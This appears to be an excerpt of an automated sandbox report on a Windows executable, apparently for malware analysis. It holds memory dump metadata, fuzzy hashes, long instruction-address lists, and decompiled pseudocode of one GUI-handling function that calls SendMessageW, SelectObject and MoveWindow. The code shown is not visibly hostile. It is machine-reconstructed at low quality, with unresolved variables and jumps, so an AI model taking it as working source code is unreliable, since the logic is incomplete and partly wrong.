                                                                                                                                                                            0x0040f815
                                                                                                                                                                            0x0040f818
                                                                                                                                                                            0x0040f81b
                                                                                                                                                                            0x0040f81e
                                                                                                                                                                            0x0040f820
                                                                                                                                                                            0x0040f82f
                                                                                                                                                                            0x0040f83a
                                                                                                                                                                            0x0040f83f
                                                                                                                                                                            0x0040f840
                                                                                                                                                                            0x0040f843
                                                                                                                                                                            0x0040f84d

                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _memset$_sprintf
                                                                                                                                                                            • String ID: %02X
                                                                                                                                                                            • API String ID: 891462717-436463671
                                                                                                                                                                            • Opcode ID: 1d9a52d330d3330097730759c4fafcb20d1f411a5d2c737f19e6fb2c7dae5da1
                                                                                                                                                                            • Instruction ID: c3235ccac5cd273424cb9b73a8b9e0f10e05fa8943de770f4571b5c3e9b76774
                                                                                                                                                                            • Opcode Fuzzy Hash: 1d9a52d330d3330097730759c4fafcb20d1f411a5d2c737f19e6fb2c7dae5da1
                                                                                                                                                                            • Instruction Fuzzy Hash: 5B11E97225021167D314FA698C93BEE724CAB45704F50453FF541A75C1EF6CB558839E
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0047B1D0 Relevance: 8.0, APIs: 5, Instructions: 489COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 55%
                                                                                                                                                                            			E0047B1D0(void* __fp0, signed int _a4, short* _a8, int _a12, int _a16, int _a20, void* _a24, void* _a28, char _a32, signed int _a36, char _a40) {
				void* _v0;
				int _v4;
				intOrPtr _v8;
				int _v12;
				signed int _v16;
				void* _v20;
				char _v24;
				int _v32;
				void* _v36;
				int _v40;
				intOrPtr __ebx;
				struct HWND__** __edi;
				intOrPtr* __esi;
				intOrPtr __ebp;
				void* _t215;
				intOrPtr _t216;
				signed int _t221;
				int _t225;
				int _t263;
				int _t264;
				int _t278;
				struct HWND__* _t279;
				intOrPtr _t281;
				int _t284;
				struct HWND__** _t301;
				signed int _t302;
				signed int _t303;
				void* _t308;
				signed int _t309;

				_t302 =  *0x4a8444; // 0xffffffff
				_t215 = _a4 + 0xfffffff4;
				if(_t215 > 8) {
					L5:
					_t263 = _a12;
				} else {
					switch( *((intOrPtr*)(( *(_t215 + 0x47b924) & 0x000000ff) * 4 +  &M0047B91C))) {
						case 0:
							goto L2;
						case 1:
							goto L5;
					}
				}
				if(_t302 != 0xffffffff) {
					_t216 =  *0x4a8438; // 0x0
					_t303 =  *((intOrPtr*)( *((intOrPtr*)(_t216 + _t302 * 4))));
					_t309 = E004564BE(_t263, _t308, _t303);
					__eflags = _t309 - 0xffffffff;
					if(_t309 == 0xffffffff) {
						goto L7;
					} else {
						_t281 =  *0x4a844c; // 0x2f019d0
						_t301 =  *( *(_t281 + _t309 * 4));
						_t221 = _a4;
						__eflags = _t221 - 0xe;
						if(_t221 == 0xe) {
							L14:
							_t301[0x22] = 0;
						} else {
							__eflags = _t221 - 0xf;
							if(_t221 == 0xf) {
								goto L14;
							} else {
								__eflags = _t221 - 0xc;
								if(_t221 == 0xc) {
									goto L14;
								} else {
									_t301[0x22] = 0x50;
									_t279 =  *0x4a83e0; // 0x0
									_t301[0x1f] = _t279;
								}
							}
						}
						_v20 = _a24;
						_t264 = _a20;
						_t284 = _a36 & 0x00000002;
						__eflags = _t284;
						_v12 = _t263;
						_v16 = _a16;
						_v4 = _t284;
						if(_t284 != 0) {
							_t285 = 0;
							__eflags = 0;
							_t301[0x1f] = 0;
						} else {
							E00433A1F(_a12, _a16, _t264, _a24, _t303);
							_t278 =  *(_t303 + 0x58);
							_t285 =  *(_t303 + 0x5c);
							_t264 =  *(_t303 + 0x60);
							_v40 =  *(_t303 + 0x64);
							_v32 = _t278;
							_t222 = _t278;
							_v36 = _t285;
							_t268 = _t285;
						}
						__eflags = _a4 - 0x1d;
						if(__eflags > 0) {
							L89:
							E00451C22(_t285, _t309, 0x4a83d8, _t309);
							_t225 = E004092C0(_t301,  &_a32) | 0xffffffff;
							__eflags = _t225;
							return _t225;
						} else {
							switch( *((intOrPtr*)(_a4 * 4 +  &M0047B930))) {
								case 0:
									_t289 = _v20;
									_t227 = E0045126C(_t303, _t301, _t309, _a8, _t222, _t268, _t264, _v20, _a28, _a32);
									goto L48;
								case 1:
									_a32 = _a28;
									__edx = _v20;
									_a8 = E00451191(__esi, __edi, __ebp, _a8, _a8, __ecx, __ebx, _v20, _a28, _a32);
									goto L48;
								case 2:
									_a32 = _a28;
									__edx = _v20;
									_a8 = E004515AB(__esi, __edi, __ebp, _a8, _a8, __ecx, __ebx, _v20, _a28, _a32);
									goto L48;
								case 3:
									__edx = _a32;
									_push(_a32);
									__edx = _a28;
									_push(_a28);
									__edx = _v20;
									_push(_v20);
									_push(__ebx);
									_push(__ecx);
									_push(__eax);
									__eax = _a8;
									_push(_a8);
									_push(__ebp);
									_push(__edi);
									_push(__esi);
									__eax = E00451500();
									goto L48;
								case 4:
									__edx = _a32;
									_push(_a32);
									__edx = _a28;
									_push(_a28);
									__edx = _v20;
									_push(_v20);
									_push(__ebx);
									_push(__ecx);
									_push(__eax);
									__eax = _a8;
									_push(_a8);
									_push(__ebp);
									_push(__edi);
									_push(__esi);
									__eax = E0045145C();
									goto L48;
								case 5:
									_a32 = _a28;
									__edx = _v20;
									_a8 = E004510B3(__esi, __edi, __ebp, _a8, _a8, __ecx, __ebx, _v20, _a28, _a32);
									goto L48;
								case 6:
									_a32 = _a28;
									_a24 = _a20;
									_a8 = E00450E7D(__esi, __edi, __ebp, _a8, _a8, __ecx, _a20, _a24, _a28, _a32);
									goto L48;
								case 7:
									__esp = __esp - 0x10;
									__eax =  &_a40;
									__ebx = __esp;
									__eax = E0040BD50( &_a40, __esp, __ecx, __edi);
									__ecx = _a32;
									__edx = _a28;
									__eax = _a24;
									_push(_a32);
									__ecx = _a20;
									_push(_a28);
									__edx = _v16;
									_push(_a24);
									__eax = _v12;
									_push(_a20);
									__ecx = _a8;
									_push(_v16);
									_push(_v12);
									_push(__ecx);
									_push(__ebp);
									_push(__edi);
									_push(__esi);
									__eax = E0046F770(__ecx);
									goto L48;
								case 8:
									_a32 = _a28;
									__edx = _v20;
									__eax = E00450DB4(__esi, __edi, __ebp, __eax, __ecx, __ebx, _v20, _a28, _a32);
									goto L48;
								case 9:
									__ecx =  &_a40;
									__eax = E0040C760( &_a40);
									__ecx = _v20;
									__edx = _v16;
									_a28 = _v12;
									__ecx = _a8;
									__eax = E004412AE(__esi, __edi, __ebp, _a8, _v12, _v16, __ebx, _v20, _a28, _v12);
									goto L48;
								case 0xa:
									__edx = _a32;
									_push(_a32);
									__edx = _a28;
									_push(_a28);
									__edx = _v20;
									_push(_v20);
									_push(__ebx);
									_push(__ecx);
									_push(__eax);
									_push(__ebp);
									_push(__edi);
									_push(__esi);
									__eax = E00450B20();
									goto L48;
								case 0xb:
									_a8 = E004411E2(__esi, __edi, __ebp, _a8);
									goto L48;
								case 0xc:
									__ecx = _a12;
									__eax = E00448014(__esi, __edi, _a12);
									goto L48;
								case 0xd:
									goto L89;
								case 0xe:
									__ecx = _a16;
									__edx = _a8;
									__eax = _a12;
									_push(_a16);
									_push(_a8);
									__eax = L00448602(__eflags, __esi, __edi, __ebp, _a12);
									goto L48;
								case 0xf:
									__edx = _a20;
									__eax = _a16;
									__ecx = _a8;
									_push(_a20);
									__edx = _a12;
									_push(_a16);
									_push(_a8);
									__eax = L0044849C(__eflags, __esi, __edi, __ebp, _a12);
									goto L48;
								case 0x10:
									_a32 = _a28;
									__edx = _v20;
									__eax = L004509D1(__ecx, __esi, __edi, __ebp, __eax, __ecx, __ebx, _v20, _a28, _a32);
									goto L48;
								case 0x11:
									__eax = _a12;
									__ecx = _a8;
									_push(_a12);
									_push(_a8);
									_push(__ebp);
									_push(__edi);
									__eax = L00448358(__eflags);
									goto L48;
								case 0x12:
									_a32 = _a28;
									__edx = _v20;
									__eax = L00450D00(__esi, __edi, __ebp, __eax, __ecx, __ebx, _v20, _a28, _a32);
									goto L48;
								case 0x13:
									__edx = _a32;
									_push(_a32);
									__edx = _a28;
									_push(_a28);
									__edx = _v20;
									_push(_v20);
									_push(__ebx);
									_push(__ecx);
									_push(__eax);
									__eax = _a8;
									_push(_a8);
									_push(__ebp);
									_push(__edi);
									_push(__esi);
									__eax = L004507E7();
									goto L48;
								case 0x14:
									__ecx = _a12;
									__edx = _a8;
									_push(_a12);
									_push(_a8);
									_push(__ebp);
									_push(__edi);
									__eax = L004480F2(__eflags);
									goto L48;
								case 0x15:
									L52:
									_t228 = _a36;
									_t301[0x22] = _a4;
									_t301[0x22] = _t228;
									_t269 =  *0x4a8444; // 0xffffffff
									 *0x4a8470 = _t269;
									 *0x4a846c = _t309;
									__eflags = _t228 & 0x00000001;
									if((_t228 & 0x00000001) == 0) {
										_t155 = _t303 + 0x6c; // 0x10000006b
										_t266 = _t155;
										_t228 = E00437BFD(_t266);
										__eflags = _t228;
										if(_t228 == 0) {
											L58:
											_push(0);
											_push( *((intOrPtr*)(_t303 + 0x88)));
											_push( *(_t303 + 0x84));
											_push( *((intOrPtr*)(_t303 + 0x80)));
											_push( *((intOrPtr*)(_t303 + 0x7c)));
											_push(_t266);
											_push(_t301);
											_push(_t303);
											_t228 = E00441561();
										} else {
											__eflags =  *((intOrPtr*)(_t303 + 0x7c)) - 0x55;
											if( *((intOrPtr*)(_t303 + 0x7c)) != 0x55) {
												goto L58;
											} else {
												__eflags =  *((intOrPtr*)(_t303 + 0x80)) - 0x190;
												if( *((intOrPtr*)(_t303 + 0x80)) != 0x190) {
													goto L58;
												} else {
													__eflags =  *(_t303 + 0x84);
													if( *(_t303 + 0x84) != 0) {
														goto L58;
													} else {
														__eflags =  *((intOrPtr*)(_t303 + 0x88)) - 2;
														if( *((intOrPtr*)(_t303 + 0x88)) != 2) {
															goto L58;
														}
													}
												}
											}
										}
									}
									__eflags = _a36 & 0x00000004;
									if((_a36 & 0x00000004) == 0) {
										_t236 = _t228 | 0xffffffff;
										__eflags = _a20 - _t236;
										if(__eflags == 0) {
											L62:
											_push( *_t301);
											_t265 =  *0x4825f0();
											_a24 = 0;
											_a28 = 0;
											_v0 = SelectObject(_t265, SendMessageW( *_t301, 0x31, 0, 0));
											E0043609C(__eflags, _t265, _v4,  &_v24);
											SelectObject(_t265, _v0);
											_push(_t265);
											_push( *_t301);
											 *0x4825ec();
											_t247 = _v24 + 0xffffffe9;
											__eflags = _t247 - 3;
											if(_t247 <= 3) {
												switch( *((intOrPtr*)(_t247 * 4 +  &M0047B9A8))) {
													case 0:
														goto L64;
													case 1:
														goto L65;
													case 2:
														goto L66;
													case 3:
														goto L67;
												}
											}
											goto L69;
										} else {
											__eflags = _a24 - _t236;
											if(__eflags == 0) {
												goto L62;
											}
										}
									}
									goto L78;
								case 0x16:
									__edx = _a12;
									__eax = _a8;
									_push(_a12);
									__eax = L00450C09(__fp0, __esi, __edi, __ebp, _a8);
									goto L48;
								case 0x17:
									_a32 = _a28;
									__edx = _v20;
									_a8 = L00451670(__esi, __edi, __ebp, _a8, _a8, __ecx, __ebx, _v20, _a28, _a32);
									goto L48;
								case 0x18:
									__edx = _a32;
									_push(_a32);
									_a28 = _v20;
									_a8 = L004516F9(__esi, __edi, __ebp, _a8, _a8, __ecx, __ebx, _v20, _a28);
									goto L48;
								case 0x19:
									_a32 = _a28;
									__edx = _v20;
									_a8 = L004513C9(__esi, __edi, __ebp, _a8, _a8, __ecx, __ebx, _v20, _a28, _a32);
									goto L48;
								case 0x1a:
									_a32 = _a28;
									__edx = _v20;
									_a8 = L00451330(__esi, __edi, __ebp, _a8, _a8, __ecx, __ebx, _v20, _a28, _a32);
									goto L48;
								case 0x1b:
									__edx = _a32;
									__eax = _a28;
									__ecx = _a24;
									_push(_a32);
									__edx = _a20;
									_push(_a28);
									__eax = _a16;
									_push(_a24);
									__ecx = _a12;
									_push(_a20);
									_push(_a16);
									_push(_a12);
									_push(__ebp);
									_push(__edi);
									_push(__esi);
									__eax = L00440EE0();
									goto L48;
								case 0x1c:
									__edx = _a32;
									_push(_a32);
									_a28 = _v20;
									_a8 = L00450FB3(__esi, __edi, __ebp, _a8, _a8, __ecx, __ebx, _v20, _a28);
									goto L48;
								case 0x1d:
									_a32 = _a28;
									__edx = _v20;
									_a8 = L0047B0C1(__fp0, __esi, __edi, _a8, _a8, __ecx, __ebx, _v20, _a28, _a32);
									L48:
									__eflags = _t227;
									if(_t227 != 0) {
										goto L52;
									} else {
										E00451C22(_t289, _t309, 0x4a83d8, _t309);
										__eflags = _v4 - 0xb;
										_t304 =  &_a32;
										if(_v4 != 0xb) {
											goto L8;
										} else {
											__eflags =  *_a8;
											if( *_a8 != 0) {
												goto L8;
											} else {
												E004092C0(_t301,  &_a32);
												return 1;
											}
										}
									}
									goto L90;
								case 0x1e:
									L64:
									_t275 = _v40;
									goto L68;
								case 0x1f:
									L65:
									__edx = _v36;
									__eax = _v40;
									__edx = _v36 + 4;
									_v0 = _v36 + 4;
									_a4 = _v40;
									goto L69;
								case 0x20:
									L66:
									__edx = _v40;
									__ecx = _v36;
									__edx = _v40 + 0xc;
									_v0 = _v36;
									_a4 = _v40 + 0xc;
									goto L69;
								case 0x21:
									L67:
									_v40 = _v40 + 8;
									__eflags = _v40 + 8;
									L68:
									_t247 = _v36;
									_a4 = _t275;
									_v0 = _t247;
									L69:
									_t248 = _t247 | 0xffffffff;
									__eflags = _v4 - _t248;
									if(_v4 == _t248) {
										__eflags =  *(_t303 + 0x64) - _t248;
										if( *(_t303 + 0x64) == _t248) {
											L72:
											_t296 = _v0 + 8;
											__eflags = _t296;
											 *(_t303 + 0x64) = _t296;
										} else {
											__eflags =  *0x4a83dc - 2;
											if( *0x4a83dc != 2) {
												goto L72;
											}
										}
									}
									__eflags = _v8 - _t248;
									if(_v8 == _t248) {
										__eflags =  *(_t303 + 0x60) - _t248;
										if( *(_t303 + 0x60) == _t248) {
											L76:
											_t252 = _a4 + 8;
											__eflags = _t252;
											 *(_t303 + 0x60) = _t252;
										} else {
											__eflags =  *0x4a83dc - 2;
											if( *0x4a83dc != 2) {
												goto L76;
											}
										}
									}
									MoveWindow( *_t301,  *(_t303 + 0x58),  *(_t303 + 0x5c),  *(_t303 + 0x60),  *(_t303 + 0x64), 1);
									L78:
									__eflags = _v4;
									if(_v4 == 0) {
										E004336C7(_t303, _t301, 0);
									}
									__eflags =  *((char*)(_t303 + 0x18c));
									if( *((char*)(_t303 + 0x18c)) != 0) {
										__eflags =  *((intOrPtr*)(_t303 + 0x184)) - 0xffffffff;
										if( *((intOrPtr*)(_t303 + 0x184)) == 0xffffffff) {
											_t301[0x22] =  *((intOrPtr*)(_t303 + 0x180));
										} else {
											_t301[0x22] =  *((intOrPtr*)(_t303 + 0x184));
										}
									}
									_t229 =  *((intOrPtr*)(_t303 + 0x50));
									__eflags =  *((intOrPtr*)(_t303 + 0x50)) - 0xffffffff;
									if(__eflags != 0) {
										E00449063(__eflags, _t309, _t229);
									}
									_t306 =  *((intOrPtr*)(_t303 + 0x54));
									__eflags =  *((intOrPtr*)(_t303 + 0x54)) - 0xffffffff;
									if(__eflags != 0) {
										E00448DAF(__eflags, _t309, _t306);
									}
									E004092C0(_t301,  &_a40);
									return _t309;
									goto L90;
							}
						}
					}
				} else {
					L7:
					_t304 =  &_a40;
					L8:
					E004092C0(_t301, _t304);
					return 0;
				}
				L90:
			}
































                                                                                                                                                                            0x0047b1da
                                                                                                                                                                            0x0047b1e0
                                                                                                                                                                            0x0047b1e7
                                                                                                                                                                            0x0047b21f
                                                                                                                                                                            0x0047b21f
                                                                                                                                                                            0x0047b1e9
                                                                                                                                                                            0x0047b1f0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b1f0
                                                                                                                                                                            0x0047b226
                                                                                                                                                                            0x0047b23d
                                                                                                                                                                            0x0047b245
                                                                                                                                                                            0x0047b24d
                                                                                                                                                                            0x0047b24f
                                                                                                                                                                            0x0047b252
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b254
                                                                                                                                                                            0x0047b254
                                                                                                                                                                            0x0047b25d
                                                                                                                                                                            0x0047b25f
                                                                                                                                                                            0x0047b263
                                                                                                                                                                            0x0047b266
                                                                                                                                                                            0x0047b286
                                                                                                                                                                            0x0047b286
                                                                                                                                                                            0x0047b268
                                                                                                                                                                            0x0047b268
                                                                                                                                                                            0x0047b26b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b26d
                                                                                                                                                                            0x0047b26d
                                                                                                                                                                            0x0047b270
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b272
                                                                                                                                                                            0x0047b272
                                                                                                                                                                            0x0047b279
                                                                                                                                                                            0x0047b280
                                                                                                                                                                            0x0047b280
                                                                                                                                                                            0x0047b270
                                                                                                                                                                            0x0047b26b
                                                                                                                                                                            0x0047b295
                                                                                                                                                                            0x0047b29f
                                                                                                                                                                            0x0047b2a3
                                                                                                                                                                            0x0047b2a3
                                                                                                                                                                            0x0047b2a6
                                                                                                                                                                            0x0047b2aa
                                                                                                                                                                            0x0047b2ae
                                                                                                                                                                            0x0047b2b2
                                                                                                                                                                            0x0047b2e8
                                                                                                                                                                            0x0047b2e8
                                                                                                                                                                            0x0047b2ea
                                                                                                                                                                            0x0047b2b4
                                                                                                                                                                            0x0047b2c5
                                                                                                                                                                            0x0047b2ca
                                                                                                                                                                            0x0047b2d0
                                                                                                                                                                            0x0047b2d3
                                                                                                                                                                            0x0047b2d6
                                                                                                                                                                            0x0047b2da
                                                                                                                                                                            0x0047b2de
                                                                                                                                                                            0x0047b2e0
                                                                                                                                                                            0x0047b2e4
                                                                                                                                                                            0x0047b2e4
                                                                                                                                                                            0x0047b2ee
                                                                                                                                                                            0x0047b2f3
                                                                                                                                                                            0x0047b8f9
                                                                                                                                                                            0x0047b8ff
                                                                                                                                                                            0x0047b910
                                                                                                                                                                            0x0047b910
                                                                                                                                                                            0x0047b917
                                                                                                                                                                            0x0047b2f9
                                                                                                                                                                            0x0047b2fd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b30e
                                                                                                                                                                            0x0047b31e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b32d
                                                                                                                                                                            0x0047b332
                                                                                                                                                                            0x0047b342
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b351
                                                                                                                                                                            0x0047b356
                                                                                                                                                                            0x0047b366
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b370
                                                                                                                                                                            0x0047b374
                                                                                                                                                                            0x0047b375
                                                                                                                                                                            0x0047b379
                                                                                                                                                                            0x0047b37a
                                                                                                                                                                            0x0047b37e
                                                                                                                                                                            0x0047b37f
                                                                                                                                                                            0x0047b380
                                                                                                                                                                            0x0047b381
                                                                                                                                                                            0x0047b382
                                                                                                                                                                            0x0047b386
                                                                                                                                                                            0x0047b387
                                                                                                                                                                            0x0047b388
                                                                                                                                                                            0x0047b389
                                                                                                                                                                            0x0047b38a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b394
                                                                                                                                                                            0x0047b398
                                                                                                                                                                            0x0047b399
                                                                                                                                                                            0x0047b39d
                                                                                                                                                                            0x0047b39e
                                                                                                                                                                            0x0047b3a2
                                                                                                                                                                            0x0047b3a3
                                                                                                                                                                            0x0047b3a4
                                                                                                                                                                            0x0047b3a5
                                                                                                                                                                            0x0047b3a6
                                                                                                                                                                            0x0047b3aa
                                                                                                                                                                            0x0047b3ab
                                                                                                                                                                            0x0047b3ac
                                                                                                                                                                            0x0047b3ad
                                                                                                                                                                            0x0047b3ae
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b3bd
                                                                                                                                                                            0x0047b3c2
                                                                                                                                                                            0x0047b3d2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b405
                                                                                                                                                                            0x0047b40f
                                                                                                                                                                            0x0047b41e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b428
                                                                                                                                                                            0x0047b42b
                                                                                                                                                                            0x0047b42f
                                                                                                                                                                            0x0047b431
                                                                                                                                                                            0x0047b436
                                                                                                                                                                            0x0047b43a
                                                                                                                                                                            0x0047b43e
                                                                                                                                                                            0x0047b442
                                                                                                                                                                            0x0047b443
                                                                                                                                                                            0x0047b447
                                                                                                                                                                            0x0047b448
                                                                                                                                                                            0x0047b44c
                                                                                                                                                                            0x0047b44d
                                                                                                                                                                            0x0047b451
                                                                                                                                                                            0x0047b452
                                                                                                                                                                            0x0047b456
                                                                                                                                                                            0x0047b457
                                                                                                                                                                            0x0047b458
                                                                                                                                                                            0x0047b459
                                                                                                                                                                            0x0047b45a
                                                                                                                                                                            0x0047b45b
                                                                                                                                                                            0x0047b45c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b46b
                                                                                                                                                                            0x0047b470
                                                                                                                                                                            0x0047b47b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b4a4
                                                                                                                                                                            0x0047b4a8
                                                                                                                                                                            0x0047b4ad
                                                                                                                                                                            0x0047b4b1
                                                                                                                                                                            0x0047b4bb
                                                                                                                                                                            0x0047b4c0
                                                                                                                                                                            0x0047b4cb
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b4ec
                                                                                                                                                                            0x0047b4f0
                                                                                                                                                                            0x0047b4f1
                                                                                                                                                                            0x0047b4f5
                                                                                                                                                                            0x0047b4f6
                                                                                                                                                                            0x0047b4fa
                                                                                                                                                                            0x0047b4fb
                                                                                                                                                                            0x0047b4fc
                                                                                                                                                                            0x0047b4fd
                                                                                                                                                                            0x0047b4fe
                                                                                                                                                                            0x0047b4ff
                                                                                                                                                                            0x0047b500
                                                                                                                                                                            0x0047b501
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b513
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b539
                                                                                                                                                                            0x0047b540
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b51d
                                                                                                                                                                            0x0047b521
                                                                                                                                                                            0x0047b525
                                                                                                                                                                            0x0047b529
                                                                                                                                                                            0x0047b52a
                                                                                                                                                                            0x0047b52f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b54a
                                                                                                                                                                            0x0047b54e
                                                                                                                                                                            0x0047b552
                                                                                                                                                                            0x0047b556
                                                                                                                                                                            0x0047b557
                                                                                                                                                                            0x0047b55b
                                                                                                                                                                            0x0047b55c
                                                                                                                                                                            0x0047b561
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b570
                                                                                                                                                                            0x0047b575
                                                                                                                                                                            0x0047b580
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b58a
                                                                                                                                                                            0x0047b58e
                                                                                                                                                                            0x0047b592
                                                                                                                                                                            0x0047b593
                                                                                                                                                                            0x0047b594
                                                                                                                                                                            0x0047b595
                                                                                                                                                                            0x0047b596
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b48a
                                                                                                                                                                            0x0047b48f
                                                                                                                                                                            0x0047b49a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b655
                                                                                                                                                                            0x0047b659
                                                                                                                                                                            0x0047b65a
                                                                                                                                                                            0x0047b65e
                                                                                                                                                                            0x0047b65f
                                                                                                                                                                            0x0047b663
                                                                                                                                                                            0x0047b664
                                                                                                                                                                            0x0047b665
                                                                                                                                                                            0x0047b666
                                                                                                                                                                            0x0047b667
                                                                                                                                                                            0x0047b66b
                                                                                                                                                                            0x0047b66c
                                                                                                                                                                            0x0047b66d
                                                                                                                                                                            0x0047b66e
                                                                                                                                                                            0x0047b66f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b676
                                                                                                                                                                            0x0047b67a
                                                                                                                                                                            0x0047b67e
                                                                                                                                                                            0x0047b67f
                                                                                                                                                                            0x0047b680
                                                                                                                                                                            0x0047b681
                                                                                                                                                                            0x0047b682
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b6e7
                                                                                                                                                                            0x0047b6e7
                                                                                                                                                                            0x0047b6ef
                                                                                                                                                                            0x0047b6f5
                                                                                                                                                                            0x0047b6fb
                                                                                                                                                                            0x0047b701
                                                                                                                                                                            0x0047b707
                                                                                                                                                                            0x0047b70d
                                                                                                                                                                            0x0047b70f
                                                                                                                                                                            0x0047b711
                                                                                                                                                                            0x0047b711
                                                                                                                                                                            0x0047b715
                                                                                                                                                                            0x0047b71a
                                                                                                                                                                            0x0047b71c
                                                                                                                                                                            0x0047b742
                                                                                                                                                                            0x0047b754
                                                                                                                                                                            0x0047b756
                                                                                                                                                                            0x0047b75a
                                                                                                                                                                            0x0047b75b
                                                                                                                                                                            0x0047b75c
                                                                                                                                                                            0x0047b75d
                                                                                                                                                                            0x0047b75e
                                                                                                                                                                            0x0047b75f
                                                                                                                                                                            0x0047b760
                                                                                                                                                                            0x0047b71e
                                                                                                                                                                            0x0047b71e
                                                                                                                                                                            0x0047b722
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b724
                                                                                                                                                                            0x0047b724
                                                                                                                                                                            0x0047b72e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b730
                                                                                                                                                                            0x0047b730
                                                                                                                                                                            0x0047b737
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b739
                                                                                                                                                                            0x0047b739
                                                                                                                                                                            0x0047b740
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b740
                                                                                                                                                                            0x0047b737
                                                                                                                                                                            0x0047b72e
                                                                                                                                                                            0x0047b722
                                                                                                                                                                            0x0047b71c
                                                                                                                                                                            0x0047b765
                                                                                                                                                                            0x0047b76a
                                                                                                                                                                            0x0047b770
                                                                                                                                                                            0x0047b773
                                                                                                                                                                            0x0047b777
                                                                                                                                                                            0x0047b783
                                                                                                                                                                            0x0047b785
                                                                                                                                                                            0x0047b78e
                                                                                                                                                                            0x0047b797
                                                                                                                                                                            0x0047b79b
                                                                                                                                                                            0x0047b7b1
                                                                                                                                                                            0x0047b7bc
                                                                                                                                                                            0x0047b7ca
                                                                                                                                                                            0x0047b7d2
                                                                                                                                                                            0x0047b7d3
                                                                                                                                                                            0x0047b7d4
                                                                                                                                                                            0x0047b7de
                                                                                                                                                                            0x0047b7e1
                                                                                                                                                                            0x0047b7e4
                                                                                                                                                                            0x0047b7e6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b7e6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b779
                                                                                                                                                                            0x0047b779
                                                                                                                                                                            0x0047b77d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b77d
                                                                                                                                                                            0x0047b777
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b4d5
                                                                                                                                                                            0x0047b4d9
                                                                                                                                                                            0x0047b4dd
                                                                                                                                                                            0x0047b4e2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b5d0
                                                                                                                                                                            0x0047b5d5
                                                                                                                                                                            0x0047b5e5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
